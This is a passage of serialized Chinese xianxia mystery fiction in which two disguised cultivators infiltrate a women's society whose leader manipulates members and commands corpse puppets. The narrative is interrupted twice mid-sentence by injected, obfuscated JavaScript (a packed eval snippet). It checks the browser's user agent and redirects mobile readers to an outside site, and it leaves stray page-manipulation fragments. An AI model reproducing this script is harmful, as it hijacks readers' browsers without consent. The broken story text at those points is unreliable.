雕栏玉栋,仙姿曼妙,玉液琼浆醉人心。在这里,能赏最繁华的景,见世间最美的人,饮不尽的“浮生醉”,做最荒唐的绮梦。怯者见勇,凡者遇仙,贫者得贵。豪客一掷千金,买片刻沉溺;寒士愿典当余生,但求一响贪欢,死而无憾。凡人趋之若鹜,修士亦难以自拔。 谢羲和曾见醉卧美人膝的卫锁灵,笑言道:“外人皆道我行事荒唐、不守常规,可与你相比,我倒显得拘谨了些。” 这卫锁灵却道:“世人熙攘,高低贵贱,谁人不困于镜中,又有谁不在寻找一面能照见自己的镜子?我不过搭一把手,让他们看见想见的罢了,这世间荒唐,难道不正是人心自招的么?” 虽然相貌有七分相似,但这织女娘娘仪态端庄,和纸醉金迷、浸染一身靡丽香气的卫锁灵却是完全不同的两类人。 莫非这织女的原型是卫锁灵在人间的亲族后嗣?否则很难解释,这么一位远隔千里的人物,是如何与这名不见经传四屏郡中的同心扯上关联? 陶云倦正想再问卫锁灵之事,却见孟夕已立于香案前,神情肃穆:“诸位姐妹,今夜我们聚于此地,皆因心中有愿、身有所困。织女娘娘在上,怜我女子艰辛,赐我等同心之缘,互持互助,共渡苦海。” “我们自幼被训要温顺忍耐,困于父兄、夫婿、姑舅的枷锁,幸苦劳作却所得无几,稍作主张便被斥为不守妇道。幸有织女娘娘悲悯,启示我等。我们识字算数,是为明理自强,不受蒙骗;学习技艺,是为安身立命,不倚仗他人鼻息!” “外界虎狼环伺、流言如刀,污我们为邪道,正因惧怕我们拧成一根绳。尔等须谨记:对外慎言守密,勿泄会中之事;对内互信互爱,若有疑虑困苦,皆可向我与各位执事姐妹倾诉,万不可暗自猜疑,生了隔阂,辜负了织女娘娘的恩泽与姐妹们的真心!” 她的话语极具煽动力,在座有不少女子心潮翻涌,眼中已满含热泪,仿佛找到了毕生的知己。 那边孟夕还在慷慨陈词、鼓舞人心,这边陶云倦偷偷传音道:“师父,你以前忽悠太祖皇帝起义的时候也是这般套路吗?乍一听,我竟然听出几分道理。” 恍惚间,谢羲和似乎回到了百年前的乱世。 她曾设下一条毒计,为验明她所选的天下之主是否当真值得托付,不料对方竟真的依计而行,她心灰意冷,等军中良知尚存的将士刺杀她时,她没有抵抗,甘愿赴死,以正视听。 尸山血海中,三个溃兵翻找到了她的寤生剑,和刚从自导自演的死局中死而复生的谢羲和相遇了。她观太祖面相,眉宇间有紫气盘桓。那是潜龙未跃、帝星将起的征兆。于是她出言哄骗,三个愣头青被她三言两语说得热血沸腾,竟真被她说动上了她的贼船。 如今,当年的三个故人也只剩陶云倦的祖父还尚在人世了,不免有些唏嘘。 “是吗?”谢羲和笑道,“我也觉得我应该站在她那个位子才是。” 她话锋一转,“树外敌能最快地凝聚人心,将‘神意’与‘己心’混为一谈以稳固权柄,鼓励‘互助倾诉’有助窥探人心。至于这是否真是孟夕的本意,那‘织女娘娘’背后又是否另有乾坤……尚需查证。” 7. 别相恶群魔乱舞2 这时,一老一少被请至堂前。 孟夕执起老妇粗糙的手,声音充满怜惜:“周大娘,你守寡二十年,含辛茹苦地将儿子拉扯成人,他却嗜赌成性,将你攒了半辈子的棺材本输尽,还将你赶出家门,可对?” 周大娘闻言,低着头,眼泪瞬间滚落,嘴唇哆嗦着说不出话来,只是拼命点头。 孟夕环视众人,扬声道:“如此不孝子,织女娘娘必不会饶他。周大娘,从今日起,这会里姐妹皆是你的女儿,断不会再让你老无所依!” 她又看向那少女,“小翠,你爹娘为了五两银子的聘礼,要将你卖给七旬老翁做填房,你宁死不从逃了出来,是也不是?” 小翠咬着下唇,重了应了一声,眼圈泛红却强忍着不让眼泪落下。 “好个烈性的孩子!”孟夕赞道,“女子生于世,岂能由人如货物般买卖?入我会中,习得技艺,自立自强,你的命,该由你自己做主!” 小翠第一次听人说起这样的话,忍不住抬头看向孟夕,她只觉得周遭的一切都变得光怪陆离、如梦似幻。 眼中的孟夕变得高大、神圣不可侵犯,小翠的眼神随即化为一种更深的、近乎狂热的信赖,重重地点头。 两人的遭遇被孟夕一一道出,激起堂下女子的嘘唏与愤慨。 孟夕抬手示意众人安静,领着她们拜过织女娘娘像,宣布道:“从今日起,你们二人便与我们一样,共沐织女娘娘恩泽,同舟共济,守望相助。” 两人再拜,恭恭敬敬地退至台下。 孟夕道:“陈阿彩,你上前来。”陈阿彩眼睛一亮,应声从人群中站起,走到孟夕身旁。 “诸位姐妹,阿彩出身平凡,但吃苦耐劳,心性坚韧。白日做工,夜里浆洗衣衫。侍奉姑舅,从未懈怠。”孟夕执起陈阿彩的手展示给堂中人观看,她手上满是厚茧。 孟夕拍了拍陈阿彩的手背,似在安慰:“她的丈夫赵喜,庸碌无能,不思进取,白日聚赌酗酒,夜宿花柳巷陌。阿彩看不下去,有心和他讲理,他反而说女子的本分就是俯首低眉、操持劳碌、延绵子嗣,而就因为阿彩妹妹入门三年无所出,便受尽赵喜讥嘲辱骂,将她的付出视为理所当然!” 她声音一沉,厉声道:“这样一个完全不懂、不敬、不爱惜阿彩的人,凭什么要阿彩赔上她的一生呢?” 陈阿彩听得胸膛起伏,眼中闪烁着光彩,仿佛孟夕的每一个字都说到了她的心坎里。 孟夕继续道:“她如今欲行和离之事,非是冲动,而是为了活得更畅快!这是勇气,不是莽撞;是清醒,不是离经叛道。她当为吾辈楷模,而非世人口中的罪过!” 堂中顿时响起一片附和之声。 “说得好!生不出孩子又不是女子一人的过错!” “这样的男子,不离又何用?” 陈阿彩受到鼓舞,脸上泛起红光,一股热血冲上脑门。她看向台下,目光灼灼:“赵阿姐,你虽姓赵,可你平日待我最好,比亲阿姊还亲。你明事理,有主见,会里姐妹谁不敬你?” “你为我抱不平,说你弟弟混账,配不上我……”她心直口快道:“你看得清你弟弟不是良配,赞同我和离,可你回头看看你那夫君,有何尝配得上你?” 陈阿彩言辞越发恳切:“你为他裁新衣的巧思他看不见,他却只知挑剔你打扮不如富家小姐体面。他埋怨你娘家拖累,在外听了闲言碎语,回家便摆老爷架子,随口轻贱你的娘家人。他又何曾真正知你、懂你、敬你半分?” 赵舒娘不防陈阿彩突然将话题引到自己身上,忙给陈阿彩打眼色。可陈阿彩越说越激动,竟是不管不顾了:“姐姐!你常叹我无所出反倒能断干净,可你有儿有女,难道真要他们日日看着父亲如何作践母亲,学得那般嘴脸么?不如学了我,索性离个干净!我们姐妹一处,互相帮衬,岂不强过在那矮檐下受尽闲气?” 赵舒娘身边的女子也劝道:“是啊!赵阿姊,你样样都好,就是在这事上太过软弱!” “他既嫌你不会打扮,又不出银钱给你添新衣,这分明是刻意刁难!” “正是为了孩儿才该离!莫非要让儿女学那爹的混账样子?” “带着孩儿一样过活!有咱们姐妹怕什么?” 赵舒娘没料到这火会突然烧到自己身上,一时愕然。 她与丈夫虽非情深似海,却也相敬如宾。丈夫老实本分,那些毛病在她看来也并无大错,更有一双儿女牵绊……她张了张嘴,刚想委婉反驳:“诸位好意我心领了,只是……” “自然要带女儿走!难道让闺女重蹈覆辙?” “说得轻巧!儿子就不管了?让他学成他爹那副德行?” “女儿家命苦,先救一个是一个!” 声浪层层叠叠,连成一道密不透风的墙,如潮水般向赵舒娘涌去,将她淹没、窒息。她嘴唇嗫嚅,目光闪躲,仿佛被架在了火刑架上烤,偏偏身体冷得透彻。 外面应该是又下起了雨,闷雷沉沉,雨声沥沥。 她的声音就像是一滴雨。 没人说得清第一滴雨是从哪里落下的,但打在脸上的时候,人人都说:“下雨了,赶紧找地方避雨去吧。”人们四散逃开,第一滴雨从哪里来这种没有意义的问题,自然也就没人去想了,或者说,那已经不重要了。 第一滴雨落下,倾盆大雨转瞬即来。 堂内烛火不安地摇曳着,众人将脸色惨白、浑身微颤的赵舒娘越逼越紧,一个个神情亢奋,近似癫狂。 “你这是什么话?儿子就不是亲骨肉了?” “分明是你重男轻女!觉得女儿是赔钱货!” “我看你是自己生不出儿子,就见不得别人有!” 她们劝着劝着,自己又生出了不同的道理,原先一致对外的姐妹此刻竟然分成两派,谁也说不过谁。 空气黏稠得令人窒息,每一道目光都化作实质般的压力,重重压在赵舒娘身上。 青烟弥漫,堂前的织女娘娘双眼半阖,莫名显出几分诡谲。 这一刻,赵舒娘只觉得天旋地转,耳边嗡鸣。 面前这些平日里温言软语的姐妹,一张张熟悉又陌生的脸,此刻不知是因激动还是愤慨,面红耳赤、五官狰狞。她们挥舞着手臂,尖锐的嗓音相互碰撞,已经认定了她还会和离,为她一双儿女的归属争得不可开交。 “我看你就是忘了同心会的宗旨,还想着依附男人而活,总是想着延续香火!” “呵!也不知是谁恨嫁,穿得花枝招展的在铺子里给那些个郎君抛媚眼!这又算什么?” 她们争着争着,逐渐演变成了彼此攻讦,赵舒娘被她们夹在中间,她的头顶是唇枪舌剑、唾沫横飞,四周人影映照于四壁之上,那些庞大、扭曲、纠缠、膨胀、撕打的黑色重影,再不复人形。 之前开着门并不明显,如今在封闭的室内,一股香甜的味道逐渐侵蚀了嗅觉。 谢羲和:“这青烟有问题。” 陶云倦点点头。两人开始控制自己呼吸的频率,以免被这古怪的气味影响。 谢羲和与陶云倦跟着众人起身,随波逐流。两人立于众女子身后,看着这光怪陆离的景象,只觉得荒谬极了。 “肃静!”孟夕的声音不高,却一下子将众人从诡异的狂热中惊醒。 众人皆是一怔,她们齐齐住了口,一个个似木偶般逐一转向孟夕,眼中亢奋未褪,脸上的还残留着狰狞的笑容。几息过后,她们的表情渐渐变得茫然,似乎自己都不知道自己怎么会那般失态。 孟夕走到赵舒娘的身边,执起她的手道:“舒娘最是明事理,绝不会辜负姐妹们的心意。其中的利害关系,她比谁都清楚,给她点时间好好想想吧。我相信,她定不好让诸位姐妹失望,舒娘,我说的可对?” 赵舒娘的手被孟夕一握,不由打了个哆嗦。她嘴唇动了动,终究什么都没说。她面如霜色,眼中仍是惊魂未定。看着孟夕略带深意的眼睛,她像是被抽走了所有力气,最终还是点了点头。 孟夕回到织女像前,目光扫视堂下:“周大娘。我瞧您脸色不佳,可是这堂内人多气闷,引得身子不适了?” 被点名的周大娘心中叫了一声:“倒霉。”她身形一僵,只得回身。对上众人疑惑的目光,她勉强挤出几分虚弱模样:“是、是有些喘不过气……”说着,手就要放在门上往外推。 她本是个混吃混喝的惯骗,听人说这同心会不仅管饭还提供宿处,这才巴巴地挤进来,却万万没料到这会里竟是这般光景。总觉得一个个看着都神颠颠的,邪得很!她心里发毛,只觉此地不宜久留,想赶紧寻个由头溜之大吉。 “既如此,万万不可强撑。”孟夕朝站在一旁的妇人点点头,那二人会意,立刻上前,“扶周大娘到静室歇息,务必好好照看,莫要怠慢了。” 那两名妇人沉声应是,一左一右“扶”住周大娘,手臂稳如铁钳,看似恭敬,实则不容拒绝地将她引向后堂。周大娘张了张嘴,触及孟夕平静无波的眼神,心头一凛,到底没敢再说什么,只得一步三回头地跟着去了。 孟夕的目光不偏不倚,落在了谢羲和和陶云倦身上,只听她道:“魏娘子,钱娘子。方才众姐妹为舒娘之事心急如焚,二位倒是一言不发,莫非是觉得姐妹们所言,有何不妥之处?” 霎时间,所有目光都聚焦过来。 陶云倦和谢羲和的眼神一对,浑身一个激灵,顿觉不妙——谢羲和必然要开始随意发挥了! 果然,谢羲和率先开口了,她的声音里带着被无端指责的委屈和冲劲儿:“嗨呀!这是在生我气呢!可钱妹妹也不想想,若不是你一路磨蹭,我们怎会抢不到好位置只能坐在最后?早知道不与你一同来了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406278|184480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陶云倦眉头一皱,反嘴道:“我磨蹭?听听,听听,分明是我年长些,她却非要自称是姐姐,这是什么道理?” 对哦!大伙这才反应过来,“魏娘子”的话的话确实有问题:“是啊,魏家妹子,这就是你不对了,哪有妹妹反称姐姐的道理,这不是——” 陶云倦却是容不得别人指责谢羲和,将那人冷冷地一瞥:“你懂什么?”那人的话被堵了回去,表情讪讪,只听这“钱娘子”继续道:“这也就算了,你从来都有主意得很,才不在乎我是不是担心你,看着热闹就往上凑,也不管自己的活计做完没做完。” 陶云倦说得含糊其辞,但谢羲和却知道他是在拿自己不着急调查幕后之人的事说嘴:“我要是不在意你,又怎么会关心你的情绪?要是不重视你,为何连你送我的寿衣都好好保存?” 什么?寿衣?这白家娘子看着柔柔弱弱的,没想到心肠如此歹毒!有人替谢羲和不忿道:“钱家娘子,这可就是你的不对了,哪有人送礼送寿衣的,这不是——” 谢羲和抬手止住那人的话头,对陶云倦认真道:“我知道你的心意,也在乎你的感受,所以才会和你解释清楚。” 即便是因果当前,修行之人岂能因私废公、畏难而退? 陶云倦道:“可是问题没有解决。” 谢羲和疑惑道:“我实在不知道还有什么问题,你直说便是。” 谢羲和想不明白陶云倦在生气什么。是的,他在生气。披着钱娘子的皮,说得却是陶云倦自己不会说出口的话。 陶云倦大声道:“你还不懂吗?你只是在安抚我的情绪,我想要的不仅仅是解释,而是……” 他自己止了声。作为师父,谢羲和从未藏私。她的过去、她和故友之间的经历不必一一向他吐露清楚,可作为徒弟的他,会这样在意他所不了解的一切? 为什么发现别人知道,而他不知道的有关谢羲和的事时,会感到被背叛? 为什么,当他知道谢羲和被人杀害,第一反应是“这怎么可能?张不疑不是在开玩笑吧?!”,第二反应是“她走了……她真的走了的话,我怎么办?”,之后,随之而来的才是出奇的愤怒与悲痛,想要将凶手找出来碎尸万段。 谢羲和还在追问:“是什么?” “钱娘子”的脸在谢羲和认真的目光下变得通红,心底那点见不得人的心思似乎无所遁藏,陶云倦眼一闭豁了出去。 他脱口而出道:“我要做你独一无二、最亲近的、最好的朋友!” 谢羲和满头问号:“哈?!” 众人:“……?!”就这?! 话一出口,陶云倦自己也愣住了。热血“嗡”地一下冲上头顶,又在瞬间褪得干干净净。 他猛地睁开眼,对上谢羲和百般不得其解的神情,这才后知后觉地意识到自己喊出了怎样幼稚又无厘头的话。 他恨不得立刻咬掉自己的舌头,或是找个地缝钻进去,可心底深处却又诡异地涌起一股不管不顾的畅快感。 “呵呵呵,原来是姐妹情深,没想到钱娘子还有一颗赤子之心。”孟夕面纱下嘴角抽了抽,明显不愿继续听下去了,皮笑肉不笑打发道:“既是小姐妹间的误会,私下找人调解便是。” 她目光转向一位面色苍白,却仍强打着精神的妇人,飞快道:“婉娘,你刚生产完不久,身子最是亏虚,却还是来了。这份诚心,织女娘娘必是看在眼里的。一会儿散了,我让人送只老母鸡到你家里,熬了汤好好补一补。” 堂下立刻有人响应道:“是啊,这月子里的调养,可万万马虎不得。”“我针线快,娃的衣裳还缺什么?我这几日就赶出来!”“ 孟夕欣慰地点点头,目光又转向一位一直低声咳嗽、身形单薄的女子:“芸娘,你的咳疾似乎又重了。咳得这样厉害,夜里如何能安睡?明日一早务必去医馆瞧瞧,药钱若是不够,先从会里支取,身子要紧,千万不能硬扛。” 芸娘用帕子捂着嘴,忍下一阵咳嗽:“多谢会长……总是让大家为我操心,实在是有些过意不去……” 有人安慰道:“哎呀,这是哪里话?姐妹们在这里不就是为了这个的吗?” 孟夕再次引领众人向织女娘娘像郑重行礼,朗声道:“愿织女娘娘保佑我等姐妹,身体康健,平安顺遂,互帮互助,同心同德。” 众人这才陆续起身,激烈的情绪在短时间内被释放,先前的争执仿佛被默契地遗忘掉,只剩下一种共渡难关后的满足与祥和。 赵舒娘走到堂外,身后跟着默不作声、欲言又止,好像知道自己又做事冲动伤到人的陈阿彩。 赵舒娘扶着门框喃喃道:“雨已经停了吗?” 只见云破处泻下明亮的天光,屋檐滴落连串的水珠。空气清新湿润,带着泥土和草木的芬芳。 ——雨,停了。 8. 别相恶群魔乱舞3 从刚才陶云倦石破天惊的那句话开始,谢羲和总觉得浑身刺挠,而陶云倦更是抬不起头来。 定是那烟的古怪才让我(他)心神失守,说出如此奇怪的话。两人不约而同地想。 陶云倦清了清嗓子,压下脸上的热意,强装无事发生道:“师父,依原计划行事?” 谢羲和忙不迭点头道:“如今连借口也是现成的了,也省得在寻由头……” 众人刚行至前庭,忽然听见“魏娘子”一声高喝:“我实在受不了了!”循声望去,只见“魏娘子”拉扯着“钱娘子”的衣袖,几乎是将她拖拽着往回走,“你这般胡搅蛮缠,走!跟我去找会长评评理!” 前头领路的少女见她们横冲直撞的往里面走,心里有些慌张,但身后还有二十多个人要送出门,一时分身乏术,只得先加快脚步送人,暗自祈祷这两位姑奶奶千万别惹出什么乱子,惹了孟夕不高兴。 才折返几步,谢羲和与陶云倦便十分不巧地迎面撞上急匆匆往外走的孟夕。她见去而复返的二人,语气带着一丝不易察觉的不耐:“怎么回事?” 不等谢羲和开口,陶云倦立刻抢上前去:“会长,你来评评理!就因我方才说错一句话,她便不依不饶,一路从门口数落我到这儿!我不过是想与她亲近些,何错之有?她竟说我……说我……”他假意哽咽,仿佛受了天大的委屈。 谢羲和立刻反唇相讥:“分明是你无理取闹!我还没怪你唐突,你倒先恶人告状!” 两人你一言我一语,争的都是些幼稚口角,毫无内涵,听得孟夕额角青筋直跳,只想尽快将这两人打发了事。 孟夕深吸一口气,强压火气,正想快刀斩乱麻将两人都打发走,“魏娘子”却像是气到了极点,猛地一跺脚,指着“钱娘子”怒气冲冲道:“我不和你吵!你有什么想说的,先和会长掰扯清楚吧!让会长看看究竟是谁不讲道理!”说罢,愤然离去,连出门的方向都气得找错了。 孟夕刚要开口去拦,便被陶云倦一通噼里啪啦的抱怨给拦住了。 谢羲和刚走出几步,后面一名唤做孟七的女娘匆匆赶上来:“魏姐姐,你等等我啊,我领你出去。” 谢羲和驻足,仍是余怒未消的模样:“谁要出去?我现在出去,岂不是认输了?等她在会长面前掰扯完了,我再去寻会长说个明白。我就在这儿透透气!” 孟七为难:“这……院里规矩,散了席还是……” 谢羲和装作还在气头上,故意用话激她:“怎么?难道会长这么小气,连在这里逛逛都不行了?” 孟夕确实没说过这话。孟七想了想,虽觉不妥,但也怕得罪这位看起来正在气头上的“魏娘子”,只得道:“好吧,那我陪着魏姐姐散散心吧。” 谢羲和也不知自己所扮的这个“魏娘子”与面前这个女娘交情如何,只能从旁处着手,语气稍缓道:“方才那位周大娘,瞧着面色不佳,不知被扶去何处歇息了?现下可好些了?” 孟七眼神闪烁了一下,含糊道:“应是好了吧。” 应是?谢羲和叹息道:“周大娘是被那不孝子赶出来的,日后也不知该如何安身……” 孟七笑道:“有咱们会长在呢,魏姐姐不必担心。” 谢羲和顺势追问道:“我见那边似乎有女工在晾晒衣物,是有姐妹在此长居吗?” 孟七道:“是呀,周大娘应该也是这样的安排,会长不会让没有家回的姐妹流落街头的。” 谢羲和还欲再问,孟七却急忙拉住她,“哎呀!魏姐姐,那边可去不得!” 谢羲和依言停步,只见前方有两个健壮的婆妇守在月门前,“那边是孟会长的院子吧?” “是,不过会长不喜欢人打扰。”孟七立刻紧张地拽住她胳膊,低声道:“魏姐姐,这园子也逛得差不多了,咱们还是快些回去吧。” 正当谢羲和想再旁敲侧击几句时,前厅方向忽然传来一阵明显的骚动和呵斥声,间或夹杂着女子惊慌失措的辩解。 紧接着,小路尽头,陶云倦提着裙子,不紧不慢地朝她跑来,“钱娘子”脸上带笑,故意拉长调子:“师父,快——跑——啊!” 紧跟在他身后的是面色铁青的孟夕和几名健壮的妇人,再落后几步,则是被三个女娘扶着的正牌钱、魏二人。一看这情形,谢羲和便知他们暴露了。 孟七看着两对一模一样的面孔,震惊的说不出话来,忙退到孟夕身后去了。 陶云倦跑至谢羲和身边站定,孟夕厉声道:“不知二位是何方神圣?藏头露尾,混入我同心会意欲何为?!” 谢羲和解了身上的术法恢复了原本的样貌,朗声道:“行不更名,坐不改姓,西陵陶云笑。” 陶云倦脸色微僵,但还是硬着头皮接上自己的名号:“西陵陶云……不笑。” 听了他们的话,孟夕脸色更是阴晴不定,这两人拿着一听就是胡诌的名号唬谁呢?!这也太不拿她当回事了吧! 只是……西陵?她心下一惊。原本只以为是寻常探子或仇家,却没想到竟会与西陵扯上关系! 无数念头在孟夕脑中飞转,她挤出一丝冰冷的笑容:“原来是西陵来的贵客,二位既然对我这会中事务如此感兴趣,不如留下来,我们慢慢详谈?我必让二位‘宾至如归’!” 话音刚落,路边的砂石震动,地底传来异响,众人脚下猛地一颤。 “下面……下面好像有什么东西!”一个女娘惊呼道。 突然,一只枯瘦惨白的手破土而出,指节扭曲成一种非人的角度,骨骼发出“咔哧咔哧”的脆响,像是在活动僵硬的关节。 第二只、第三只……数十只枯手以谢羲和、陶云倦为中心从地下探出,随着女娘的尖叫,十几道身影如鬼魅般掠出,将谢、陶二人的退路瞬间封死。 阴冷的气息扑面而来,这些“护院”周身带着一股腐浊之气,目光空洞,动作却异常迅速。 谢羲和本是仙身,开了灵视,一眼便瞧出异常。 这些女子主魂已失,分明是被人以邪术操控,炼成了只会听令行事的尸傀! 眼见被围得密不透风,谢羲和也不惊慌,展颜笑道:“孟会长何必动怒呢?我二人不过是听闻金兰绣坊姐妹同心、互帮互助,心生向往,特来见识一番。今日一见,果然……名不虚传。”目光似有若无地再次扫过那些尸傀。 孟夕脸色阴沉,不再多言,手一挥,厉声道:“拿下!” 那十几名尸傀接到指令,几乎同时而动,身法迅疾如风,带着阴冷的杀意扑杀过来,直取谢陶二人要害! 谢羲和叹息道:“看来会长是不打算善了了。” 她与陶云倦同时动作,两人身影如游龙交错,步法玄妙轻盈,于电光石火间轻易避开尸傀的擒抱与撕扯。 谢羲和指尖凌空画符:“北辰守心,破!”一道清心破障咒打入冲在最前的尸傀眉心。 那尸傀动作猛地一滞,发出一声模糊不清的嘶吼,竟短暂地僵在原地。 有用!陶云倦有样学样,借此间隙,两人毫不恋战,转身便向院墙急掠而去。 等孟夕夺回尸傀控制,那二人已至墙下。 只见陶云倦飞身跃上院墙,而谢羲和回眸一笑,道:“孟会长,这份‘厚待’我们记下了,你可要小心了。我们后会有期!” 说罢,如惊鸿掠起,眨眼间消失不见。 孟夕眼睁睁看着尸傀僵立原地,竟未能伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406279|184480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及对方分毫,一股邪火直冲顶心,她猛地一挥袖,厉声咒骂:“没用的废物!” 她胸口剧烈起伏几下,强行压下翻涌的怒气,缓缓转过身。那群战战兢兢的女娘,个个面色惨白如纸,眼中满是惊惧与惶然,像是第一次认清眼前之人的真面目。 眼见孟夕看过来,有人吓得一颤,下意识后退半步,一群人哆哆嗦嗦地聚在一团相互支撑,如同受惊的鸟雀。 唯有孟七,虽然脸上也失了血色,却没有躲闪。她反而迎上前一步,目光直直望向孟夕,那双眼睛里同样藏着恐惧,却多了几分维护的急切。 她信孟夕。早在她被孟夕收留,取了新名字重焕新生的时候,孟夕就说过,外界绝容不下女子抱团取暖,一定会有人想方设法混进来刺探、破坏。 今日一见,果然如此!若不是会长早有准备,神通广大,恐怕…… 孟夕冰冷的目光在孟七身上停留片刻,眼底的厉色稍缓,唇角扯出一个算得上是赞许的弧度:“你,不错。” 随即,她转向众人,嗤笑一声,带着一种不容拒绝的压迫:“诸位姐妹受惊了,实在是我疏忽,让外人惊扰了自家清净之地。眼下外头危机四伏,为了诸位姐妹的安危着想,今夜……便都留在我府中好生歇下吧。” 谢羲和与陶云倦并未远遁,察觉到尸傀没有跟上来,他们便折了回去。 陶云倦语气凝重道:“师父,那些女子天魂已失,神识尽毁,怕是难救。” 谢羲和:“寻常刀剑难以斩杀阴物,若是放任不管,只怕会为祸一方。一会儿再见,不必手下留情,保活人为先,再做其他打算。” 陶云倦点点头,谢羲和沉默片刻,又道:“不过,我还有一个疑惑。孟夕在尚未摸清我二人底细的情况下,为何如临大敌?” 陶云倦道:“我也想不通,为此,她甚至不惜当着那几个显然不知情的女娘的面,直接召出尸傀,这无异于自曝其秘……” 谢羲和脸色突变:“不好!她当着那么多人的面动用尸傀,怕是根本就没打算让那些女娘活着离开!” 孟夕这条疯狗也许根本不在乎什么表面仁义,她就是要用最残酷、最有效的手段,在最短时间内清除一切不稳定因素,哪怕这会暴露更多秘密! 陶云倦也想通其中关窍,脚下更快,身影如离弦之箭般掠出。 谢羲和与陶云倦此番行动,本有一番算计。依照原策,无论同心会是否异常,他们顶替身份之事,都可能借那被迷晕的真正钱、魏二人之口暴露于孟夕面前。 之所以刻意在众人面前演那一出争执戏码,一是为了试探孟夕目睹假冒之事时的应对;其二,若是那两人对孟夕有绝对的信任,那就帮她们在众目睽睽之下,将“有外人假冒闯入”之事坐实,从而撇清她们的干系。 无论孟夕是善是恶,若想维持仁义的表象,于情于理都不得不对她们加以抚慰、以示清白,反而不敢轻易灭口。 集会中,众态纷呈,两人察觉到这同心会果然另有乾坤,而赵舒娘那一刻的动摇与怯意,恰如暗室微光,已被他们锁定为下一步切入破局的关键契机。 他们早已算好那两位正主清醒的时间,本欲借“假冒者暴露”引发的混乱,化被动为主动,行灯下黑之计,再度潜回其中探查,以便伺机而动,等找到确凿的证据再按仙凡两界的法度处理。 然而,孟夕的反应却全然偏离了他们的预判。为了阻拦他们,她竟全然不顾遮掩,直接召出了炼制的尸傀。 此举无异于传递着一个危险信号,孟夕根本不怕秘密暴露,或者说……她已有万全把握,能让那几个知晓内情的女子不会说出去。 在场的那六人,只怕已命悬一线! 9. 缠丝乱福祸相依1 陶云倦道:“西边都探查过了,不曾见过那几人。” “东边也没有发现踪迹。”谢羲和沉吟道:“长期借住在这里的女娘应当是被夺魂控制,故而对刚才的响动完全没有反应。” 陶云倦目光微凝:“那就只剩这里了。” 房檐上,两人探头张望,孟夕的房门前立着两名头戴幂篱的尸傀,如同雕塑般纹丝不动。 陶云倦低声道:“屋里没动静。” 谢羲和道:“我们往返不过一盏茶的功夫,孟夕绝无可能如此迅速将人安抚送走,除非是以武力镇压来平息事态。” 陶云倦讥诮道:“排除所有不可能,她要么是个找死的疯子,要么是个不怕死的半吊子。” 凡人尚且知道,行诡事须远离门户,以免秽气反噬,何况炼魂这等邪术?若她真将炼魂之所设在卧榻之侧,不是愚不可及,便是狂妄至极。 谢羲和:“你看那里。” 陶云倦顺着她的值得方向望去,不禁啧声道:“又是狗。” 自那日从张婆子处得到线索离开后,这两日,他们像是捅了狗窝,走哪儿都能撞见狗。打晕钱、魏二人的时候,一条黑狗就在巷口凝视;进金兰绣坊的时候,一条黄狗就趴在不远处吐舌张望。就连刚才被追出去的时候,他们飞檐走壁在屋顶上跑,地上也有野狗狂奔相随。 此刻,一条杂毛狗从墙角的树后钻出,浑身一抖,毛发乱飞。 陶云倦蹙眉:“这不是张婆子庙里那条狗么?” 谢羲和还未作答,就见那草丛又有了动静。枝桠乱颤,张婆子鬼鬼祟祟地从里面爬了出来,她扒开乱草,露出身后被遮挡的狗洞。 她眯着眼四下张望,就在此时,她身后的土地如同沸水般沸腾翻涌。 张婆子浑然未觉,那杂毛狗却猛地吠叫起来。 说时迟那时快,三只尸傀破土而出,直扑张婆子后心! 谢羲和急声道:“救人!” 陶云倦拔剑出鞘,指尖自剑尾滑至剑尖,喝道:“五行破妄,金剑斩魂——去!” 宵练剑如流星逐月,破空而去,剑芒三分,其一为实,将离张婆子最近的一只尸傀定死在树上。 剑身余劲未消,嗡鸣震颤,便已被飞身赶到的陶云倦稳稳接在手中。 他手腕一翻,几招之间便绞杀了另一只与金色剑芒缠斗的尸傀,旋即侧身回斩,宵练划出一道凌厉弧光,将另一只尸傀由肩至腰斜劈为二。 腐血未溅,他已收剑回护,将瘫坐在地、正惊慌向后挪退的张婆子挡在身后。 与此同时,谢羲和翻掌结印,九条金链自她身后清啸而出,如蛟龙出穴,紧紧缠住门前想要前去助阵的尸傀。 阳爻阵与尸傀的阴秽之躯相克,锁链缠绕处黑烟滋滋作响,尸傀虽无知无觉,却仍凭本能狂乱扭动,竟将金链挣得铮铮欲裂。 这两具尸傀的力量远比之前的更强! 谢羲和目光一凛,指诀疾变,锁链化实收束,尸傀嘶吼一声,顷刻间化为飞灰,残魂重归于天地。 然而,尸傀仍在接二连三地从地底涌出。这小小的一方宅院之下,竟藏了数十只尸傀。 如此动静却始终不见孟夕的身影,谢羲和心念一动,猛地踹开房门——屋内果然空无一人。 谢羲和闪身入内,屋外的尸傀,茫然了一瞬,齐齐向陶云倦攻去。 见此,谢羲和立声唤道:“进屋!” 那杂毛狗极通人性,发觉尸傀并不伤它,率先窜入屋内,朝张婆子连连吠叫。 张婆子吓得脸色发白,死死扯住陶云倦的袖子喊道:“快进屋!进了屋这些鬼东西就进不来了!” 谢羲和结阳爻阵替他们清路,陶云倦以剑开道,且战且退。几人刚退入屋中,那群尸傀像是陡然失去目标,动作僵止,随后纷纷沉入土中,再次隐匿起来。 一切陷入沉寂,如果不是地上还有翻土的痕迹的话,刚才的战斗就像不曾发生过。 谢羲和目光扫过屋内,最终落在案上一块青黑色的方印之上。 